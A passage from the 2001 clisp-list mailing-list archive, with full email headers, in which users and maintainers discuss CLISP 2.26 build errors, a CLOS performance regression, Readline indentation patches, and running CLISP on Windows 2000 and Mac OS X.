from me2xz.terra.es ([62.175.85.161]) by tsmtp1.mail.isp (Netscape Messaging Server 4.15) with ESMTP id GEU68600.CJJ for ; Tue, 12 Jun 2001 23:26:30 +0200 Message-Id: <5.1.0.14.0.20010612232016.009f3ec0@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 12 Jun 2001 23:28:08 +0200 To: clisp-list@lists.sourceforge.net From: Karsten Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Clisp 2.26 Clos consing? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I just tried my CLOS-application in the new release and it conses a lot although I wouldn't cons at all in Clisp 2000-03-06. I know that it is quite normal that clos starts consing but normally after a while (a methods called) stops doing so The problem is not only the consing, also the runtime doubled (even without gc) Platform is Windows ME, both with distributed version and cygwin self compiled version The following test exposes the problem: (defclass root () ( (some-slot :initform nil :accessor root-some-slot) ) ) (defmethod test-method ((me root)) (setf (root-some-slot me) 23)) (defclass medium (root) ( (other-slot :initform nil :accessor medium-other-slot) ) ) (defmethod test-method ((me medium)) (call-next-method) (setf (medium-other-slot me) 42)) (defclass leaf (medium) ( (last-slot :initform nil :accessor leaf-last-slot) ) ) (defmethod test-method ((me leaf)) (call-next-method) (setf (leaf-last-slot me) 15)) (defun test () (let ((was (make-instance 'leaf))) (dotimes (x 100) (test-method was)) (time (test-method was)) 23)) From peter.wood@worldonline.dk Tue Jun 12 21:00:30 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15A1pV-0003g5-00 for ; Tue, 12 Jun 2001 21:00:29 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 2F0ADB505 for ; Wed, 13 Jun 2001 06:00:26 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f5D3Zvd00212; Wed, 13 Jun 2001 05:35:57 +0200 Date: Wed, 13 Jun 2001 05:35:57 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp indentaion on console Message-ID: <20010613053557.A166@localhost.localdomain> References: <20010612095702.B171@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Tue, Jun 12, 2001 at 12:01:56PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Tue, Jun 12, 2001 at 12:01:56PM -0400, Sam Steingold wrote: > > * Honorable Peter Wood writes: > > > > I've written some functions which extend Readline to do lisp > > indentation. > > what exactly do they do? > TAB does completion, so it cannot indent (like in Emacs). > You mean, indentation on RET? No, I didn't want to mess around with RET, so I have made lisp-indentation bindable to any of Readline's key sequences via .inputrc. I am using ESC/ALT-i to indent, ESC-p to move up one virtual line, and ESC-d to move down. It's not "real" indentation, since it works by appending the correct number of spaces to put the cursor in the position which TAB would do in Emacs. It represents Readline's 'physical' line as many virtual lines of COLUMNS length, ie, a 'virtual' buffer. It works because the lisp reader ignores extra space. [ '(defun foo' and '( defun foo ' are the same thing.] This means that automatic re-indenting after an xterm resize would be tricky (to do properly). However, It seems to work fine without resizing, and in the console. And it makes it *much* more readable. I will try putting them in stream.d, as you suggest. Regards, Peter From sds@gnu.org Fri Jun 15 09:47:12 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15Awka-0007di-00 for ; Fri, 15 Jun 2001 09:47:12 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA17855; Fri, 15 Jun 2001 12:47:07 -0400 (EDT) X-Envelope-To: To: Lennart Staflin Cc: Subject: Re: [clisp-list] standard in/out as binary streams References: <200106091940.VAA10994@mail50.fg.online.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200106091940.VAA10994@mail50.fg.online.no> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 15 Jun 2001 12:45:16 -0400 Message-ID: Lines: 17 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200106091940.VAA10994@mail50.fg.online.no> > * On the subject of "[clisp-list] standard in/out as binary streams" > * Sent on Sat, 9 Jun 2001 20:59:37 +0200 > * Honorable Lennart Staflin writes: > > I would like to some how get a bidirectional stream with element type > (unsigned-byte 8) connected to the process standard input and output > (unix file descriptors 0 and 1). I am not sure if it answers your question, but STREAM-ELEMENT-TYPE is setf-able in CLISP, see . -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The world will end in 5 minutes. Please log out. From jgascon@pacbell.net Fri Jun 15 11:44:05 2001 Received: from mta8.pltn13.pbi.net ([64.164.98.22] helo=pltn13.pbi.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15AyZh-0000OG-00 for ; Fri, 15 Jun 2001 11:44:05 -0700 Received: from tulipe ([63.194.90.154]) by mta8.pltn13.pbi.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with SMTP id <0GEZ00BSBIPFNA@mta8.pltn13.pbi.net> for clisp-list@lists.sourceforge.net; Fri, 15 Jun 2001 11:44:03 -0700 (PDT) Date: Fri, 15 Jun 2001 11:44:02 -0700 From: Jean Gascon To: clisp-list@lists.sourceforge.net Reply-to: jgascon@pacbell.net Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Subject: [clisp-list] CLISP under Windows 2000 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I installed win32-2-26.zip on my Windows 2000 PC, unzipped the file using PowerDesk, but when I try to run lisp.exe (size 2,215,936 bytes) Windows 2000 tells me that this is not a valid executable. Does this version of CLISP run on Windows 2000? Merci! Jean Gascon From cmp96002@uconn.edu Fri Jun 15 12:34:23 2001 Received: from mail.ntplx.net ([204.213.176.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15AzML-0005hT-00 for ; Fri, 15 Jun 2001 12:34:21 -0700 Received: from uconn.edu (p08-27.hartford.dialin.ntplx.com [204.213.189.127]) by mail.ntplx.net (8.9.1/NETPLEX) with ESMTP id PAA28631 for ; Fri, 15 Jun 2001 15:34:18 -0400 (EDT) Message-ID: <3B2A61EE.D2CC0431@uconn.edu> Date: Fri, 15 Jun 2001 15:28:46 -0400 From: Christopher Perkins X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Install error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I tried installing clisp 2.26 on my Redhat 6.2 Linux box and when making the lispinit.mem I got the following error: ./lisp.run -m 1000KW -M interpreted.mem -B . -N locale -Efile UTF-8 -norc -q -c foreign.lisp Compileing file /home/percious/clisp-2.26/with-gcc-wall/foreign1.lisp ... *** - There is no package with name "FFI" make: *** [foreign.fas] Error 1 any ideas? thanks, chris perkins From rrschulz@cris.com Fri Jun 15 12:51:01 2001 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15AzcR-0002I6-00 for ; Fri, 15 Jun 2001 12:50:59 -0700 Received: from newman.concentric.net (newman.concentric.net [207.155.198.71]) by darius.concentric.net (8.9.1a/(98/12/15 5.12)) id PAA29760; Fri, 15 Jun 2001 15:50:56 -0400 (EDT) [1-800-745-2747 The Concentric Network] Received: from Clemens.cris.com (da003d4606.sjc-ca.osd.concentric.net [208.176.184.3]) by newman.concentric.net (8.9.1a) id PAA17469; Fri, 15 Jun 2001 15:50:53 -0400 (EDT) Message-Id: <5.1.0.14.2.20010615124923.0247b888@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 15 Jun 2001 12:51:12 -0700 To: jgascon@pacbell.net, clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] CLISP under Windows 2000 In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Jean, I had no trouble installing, configuring and runing 2.26 on my Windows 2000 Professional. I you have Cygwin, could you run "sum" on your lisp.exe to make sure there was no corruption? My executable's size matches what you report. Here's the checksum on it: % sum lisp.exe 33463 2164 Randall Schulz Mountain View, CA USA At 11:44 2001-06-15, Jean Gascon wrote: >I installed win32-2-26.zip on my Windows 2000 PC, unzipped the file using >PowerDesk, but when I try to run lisp.exe (size 2,215,936 bytes) Windows >2000 tells me that this is not a valid executable. Does this version of >CLISP run on Windows 2000? > >Merci! > >Jean Gascon From sds@gnu.org Fri Jun 15 13:37:59 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15B0Lv-0002JV-00 for ; Fri, 15 Jun 2001 13:37:59 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA27800; Fri, 15 Jun 2001 16:37:53 -0400 (EDT) X-Envelope-To: To: Christopher Perkins Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Install error References: <3B2A61EE.D2CC0431@uconn.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3B2A61EE.D2CC0431@uconn.edu> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 15 Jun 2001 16:37:05 -0400 Message-ID: Lines: 15 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <3B2A61EE.D2CC0431@uconn.edu> > * On the subject of "[clisp-list] Install error" > * Sent on Fri, 15 Jun 2001 15:28:46 -0400 > * Honorable Christopher Perkins writes: > > *** - There is no package with name "FFI" > make: *** [foreign.fas] Error 1 get the "no-ffi" patch from the same place you got your sources. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Why use Windows, when there are Doors? From finton@nova10.cs.wisc.edu Fri Jun 15 15:02:41 2001 Received: from pop.cs.wisc.edu ([128.105.6.13]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15B1fs-0005RM-00 for ; Fri, 15 Jun 2001 15:02:40 -0700 Received: from nova10.cs.wisc.edu (nova10.cs.wisc.edu [128.105.119.110]) by pop.cs.wisc.edu (8.9.2/8.9.2) with ESMTP id RAA05937; Fri, 15 Jun 2001 17:02:38 -0500 (CDT) Received: from localhost (finton@localhost) by nova10.cs.wisc.edu (8.9.2/8.9.2) with ESMTP id RAA12069; Fri, 15 Jun 2001 17:02:38 -0500 (CDT) Date: Fri, 15 Jun 2001 17:02:38 -0500 (CDT) From: "David J. Finton" To: Sam Steingold cc: clisp-list@lists.sourceforge.net, David Finton Subject: Re: [clisp-list] clisp for OSX? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Thanks for your help! It's been a learning experience -- I didn't know what "patch" was before this, or what I should be patching. But the build succeeded, and both "make test" and "make testsuite" passed. Before I "make install" I just started wondering whether I should have used the other patches as well. I got clisp-2.26.tar.gz from the WWW sources directory, and I only applied the "no-ffi" patch -- and that only because the build failed. Are the other patches needed? And if I apply them, do I again patch src/makemake.in, or some other file? Incidentally, I ignored the unix/PLATFORMS advice that said to remove optimization from the compile flags (-O, -O2) for Mac OS X. I used the stock tcsh, and increased the stacksize to 8192 via the commands unlimit and limit (inspired by the PLATFORMS advice, but slightly different). Thanks, David On 8 Jun 2001, Sam Steingold wrote: > > * In message > > * On the subject of "Re: [clisp-list] clisp for OSX?" > > * Sent on Thu, 7 Jun 2001 19:01:53 -0500 (CDT) > > * Honorable "David J. Finton" writes: > > > > Compiling file /private/var/tmp/lisp/clisp-2.26/build-june7/foreign1.lisp > > .... > > *** - There is no package with name "FFI" > > make: *** [foreign1.fas] Error 1 > > [localhost:lisp/clisp-2.26/build-june7] root# > > > > Any advice on where to go from here? > > please get the "no-ffi" patch from the same place you got your sources, > then reconfigure and rebuild. > > -- > Sam Steingold (http://www.podval.org/~sds) > Support Israel's right to defend herself! > Read what the Arab leaders say to their people on > The paperless office will become a reality soon after the paperless toilet. > > From peter.wood@worldonline.dk Sat Jun 16 00:19:03 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15BAMI-0004U6-00 for ; Sat, 16 Jun 2001 00:19:02 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 99B00B514 for ; Sat, 16 Jun 2001 09:18:58 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f5G7DD002874; Sat, 16 Jun 2001 09:13:13 +0200 Date: Sat, 16 Jun 2001 09:13:13 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20010616091313.A2864@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] lisp indent on console/xterm Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi I have a patch for stream.d which enables lisp indentation for CLISP (with Readline) on a console or xterm (can be resized). It seems to be working fine, although it's 'experimental'. Its also available as a standalone program so it can be tested without hacking your CLISP. Is anyone interested? Regards, Peter From sds@gnu.org Sat Jun 16 10:28:41 2001 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15BJsH-0006hT-00 for ; Sat, 16 Jun 2001 10:28:41 -0700 Received: from xchange.com (slip-32-101-27-65.ma.us.prserv.net[32.101.27.65]) by prserv.net (out4) with ESMTP id <2001061617283620402mlms2e>; Sat, 16 Jun 2001 17:28:38 +0000 To: "David J. Finton" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp for OSX? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 16 Jun 2001 13:28:15 -0400 Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "Re: [clisp-list] clisp for OSX?" > * Sent on Fri, 15 Jun 2001 17:02:38 -0500 (CDT) > * Honorable "David J. Finton" writes: > > Thanks for your help! It's been a learning experience -- I didn't > know what "patch" was before this, or what I should be patching. But > the build succeeded, and both "make test" and "make testsuite" passed. great! > Before I "make install" I just started wondering whether I should > have used the other patches as well. I got clisp-2.26.tar.gz from > the WWW sources directory, and I only applied the "no-ffi" patch -- > and that only because the build failed. probably not - but see DIFF-README in the same directory as the patches. > Incidentally, I ignored the unix/PLATFORMS advice that said to > remove optimization from the compile flags (-O, -O2) for Mac OS X. interesting - what C compiler did you use? cc --version? clisp (software-type) and (software-version)? Thanks! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Whether pronounced "leenooks" or "line-uks", it's better than Windows. From sds@gnu.org Sat Jun 16 10:30:57 2001 Received: from out2.prserv.net ([32.97.166.32] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15BJuT-0006sT-00 for ; Sat, 16 Jun 2001 10:30:57 -0700 Received: from xchange.com (slip-32-101-27-65.ma.us.prserv.net[32.101.27.65]) by prserv.net (out2) with ESMTP id <2001061617305320202t5geme>; Sat, 16 Jun 2001 17:30:55 +0000 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp indent on console/xterm References: <20010616091313.A2864@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010616091313.A2864@localhost.localdomain> Date: 16 Jun 2001 13:30:33 -0400 Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010616091313.A2864@localhost.localdomain> > * On the subject of "[clisp-list] lisp indent on console/xterm" > * Sent on Sat, 16 Jun 2001 09:13:13 +0200 > * Honorable Peter Wood writes: > > I have a patch for stream.d which enables lisp indentation for CLISP > (with Readline) on a console or xterm (can be resized). It seems to > be working fine, although it's 'experimental'. > > Its also available as a standalone program so it can be tested without > hacking your CLISP. I would like to see it. If you release it under GPL, we might even include it in CLISP. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I don't want to be young again, I just don't want to get any older. From sds@gnu.org Sat Jun 16 10:33:56 2001 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15BJxM-0007Qy-00 for ; Sat, 16 Jun 2001 10:33:56 -0700 Received: from xchange.com (slip-32-101-27-65.ma.us.prserv.net[32.101.27.65]) by prserv.net (out4) with ESMTP id <2001061617335220400ltm4ie>; Sat, 16 Jun 2001 17:33:54 +0000 To: Karsten Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp 2.26 Clos consing? References: <5.1.0.14.0.20010612232016.009f3ec0@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20010612232016.009f3ec0@pop3.terra.es> Date: 16 Jun 2001 13:33:32 -0400 Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <5.1.0.14.0.20010612232016.009f3ec0@pop3.terra.es> > * On the subject of "[clisp-list] Clisp 2.26 Clos consing?" > * Sent on Tue, 12 Jun 2001 23:28:08 +0200 > * Honorable Karsten writes: > > I just tried my CLOS-application in the new release and it conses a lot > although I wouldn't cons at all in Clisp 2000-03-06. Yes, this was (unintentionally) caused by the 2000-06-11 patch (see src/ChangeLog). We hope to fix this. Thanks for the bug report. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The only thing worse than X Windows: (X Windows) - X From finton@nova10.cs.wisc.edu Mon Jun 18 16:00:46 2001 Received: from pop.cs.wisc.edu ([128.105.6.13]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15C80j-0008No-00 for ; Mon, 18 Jun 2001 16:00:45 -0700 Received: from nova10.cs.wisc.edu (nova10.cs.wisc.edu [128.105.119.110]) by pop.cs.wisc.edu (8.9.2/8.9.2) with ESMTP id SAA12554; Mon, 18 Jun 2001 18:00:43 -0500 (CDT) Received: from localhost (finton@localhost) by nova10.cs.wisc.edu (8.9.2/8.9.2) with ESMTP id SAA12222; Mon, 18 Jun 2001 18:00:43 -0500 (CDT) Date: Mon, 18 Jun 2001 18:00:43 -0500 (CDT) From: "David J. Finton" To: Sam Steingold cc: clisp-list@lists.sourceforge.net, David Finton Subject: Re: [clisp-list] clisp for OSX? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Thanks again. Here's some info for this data point: On 16 Jun 2001, Sam Steingold wrote: > > Incidentally, I ignored the unix/PLATFORMS advice that said to > > remove optimization from the compile flags (-O, -O2) for Mac OS X. > > interesting - what C compiler did you use? > cc --version? > clisp (software-type) and (software-version)? [localhost:tmp/lisp/clisp-2.26] root# cc --version 2.95.2 clisp says: [1]> (lisp-implementation-version) "2.26 (released 2001-05-23) (built 3201629965) (memory 3201630586)" [2]> (machine-version) "POWER MACINTOSH" [3]> (software-version) "GNU C 2.95.2 19991024 (release)" [4]> (system::version) (20010503) [5]> (software-type) "ANSI C program" This is on a G4 running OS X, version 10.0.3. --David Finton From jgascon@pacbell.net Mon Jun 18 16:27:25 2001 Received: from mta7.pltn13.pbi.net ([64.164.98.8]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15C8QX-0006SI-00 for ; Mon, 18 Jun 2001 16:27:25 -0700 Received: from tulipe ([63.194.90.154]) by mta7.pltn13.pbi.net (Sun Internet Mail Server sims.3.5.2000.03.23.18.03.p10) with SMTP id <0GF500JRNFSVOI@mta7.pltn13.pbi.net> for clisp-list@lists.sourceforge.net; Mon, 18 Jun 2001 16:26:55 -0700 (PDT) Date: Mon, 18 Jun 2001 16:26:56 -0700 From: Jean Gascon To: clisp-list@lists.sourceforge.net Reply-to: jgascon@pacbell.net Message-id: MIME-version: 1.0 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Content-type: text/plain; charset="iso-8859-1" Content-transfer-encoding: 7bit Importance: Normal X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Priority: 3 (Normal) Subject: [clisp-list] looking for comint.el Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I am trying to build ilisp so that I can run CLISP as a subprocess of XEmacs 21.4.3. The ilisp build directory does not include the file comint.el (and yet it tries to load it) because, as I understand it, comint.el (command interpreter) is specific to each version of Emacs. Comint-v18.el (for version 18 of emacs) is provided however. I looked under the sources of XEmacs 21.4.3 and did not find any comint file. Where is it? Thanks! From bruce253@163.net Mon Jun 18 17:05:33 2001 Received: from [211.101.185.130] (helo=clubsvr) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15C91R-0006Jg-00 for ; Mon, 18 Jun 2001 17:05:33 -0700 Received: from [211.101.185.130] by clubsvr (ArGoSoft Mail Server Plus, Version 1.4 (1.4.0.5)); Tue, 19 Jun 2001 08:08:06 Message-ID: <3B2E9627.2080005@163.net> Date: Tue, 19 Jun 2001 08:00:39 +0800 From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; rv:0.9.1) Gecko/20010612 X-Accept-Language: zh-cn, en MIME-Version: 1.0 To: clisp-list CC: jgascon@pacbell.net Subject: Re: [clisp-list] looking for comint.el References: Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Jean Gascon wrote: > I am trying to build ilisp so that I can run CLISP as a subprocess of XEmacs > 21.4.3. The ilisp build directory does not include the file comint.el (and > yet it tries to load it) because, as I understand it, comint.el (command > interpreter) is specific to each version of Emacs. Comint-v18.el (for > version 18 of emacs) is provided however. I looked under the sources of > XEmacs 21.4.3 and did not find any comint file. Where is it? 'comint.el(c)' comes with (X)Emacs distribution. On Debian/GNU system they are "/usr/share/emacs/20.7/lisp/comint.el(c)' and '/usr/share/xemacs21/packages/lisp/xemacs-base/comint.elc'. You can use "locate 'comint.el'" to find them. Best! -- Go to a movie tonight. Darkness becomes you. From smishra@speakeasy.net Mon Jun 18 17:08:08 2001 Received: from mail11.speakeasy.net ([216.254.0.211]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 15C93v-0006vX-00 for ; Mon, 18 Jun 2001 17:08:07 -0700 Received: (qmail 70755 invoked from network); 19 Jun 2001 00:08:06 -0000 Received: from unknown (HELO spib) ([130.107.66.132]) (envelope-sender ) by mail11.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 19 Jun 2001 00:08:06 -0000 Date: Mon, 18 Jun 2001 17:07:37 -0700 Content-Type: text/plain; format=flowed; charset=us-ascii X-Mailer: Apple Mail (2.388) From: Sunil Mishra To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 (Apple Message framework v388) In-Reply-To: Subject: Re: [clisp-list] clisp for OSX? Content-Transfer-Encoding: 7bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I have rebuilt the latest version of clisp on OSX as well, can can confirm David's observations. The only thing I had to do was change the stack size to 8MB. Otherwise everything went smoothly. I think the unix/PLATFORMS file needs an entry explicitly devoted to OS X, as opposed to the now out-of-date entry for OS X server. My guess is that the server would behave similarly now, though someone would actually have to confirm this :-) Sunil On Monday, June 18, 2001, at 04:00 PM, David J. Finton wrote: > Thanks again. Here's some info for this data point: > > On 16 Jun 2001, Sam Steingold wrote: > >>> Incidentally, I ignored the unix/PLATFORMS advice that said to >>> remove optimization from the compile flags (-O, -O2) for Mac OS X. >> >> interesting - what C compiler did you use? >> cc --version? >> clisp (software-type) and (software-version)? > > [localhost:tmp/lisp/clisp-2.26] root# cc --version > 2.95.2 > > clisp says: > > [1]> (lisp-implementation-version) > "2.26 (released 2001-05-23) (built 3201629965) (memory 3201630586)" 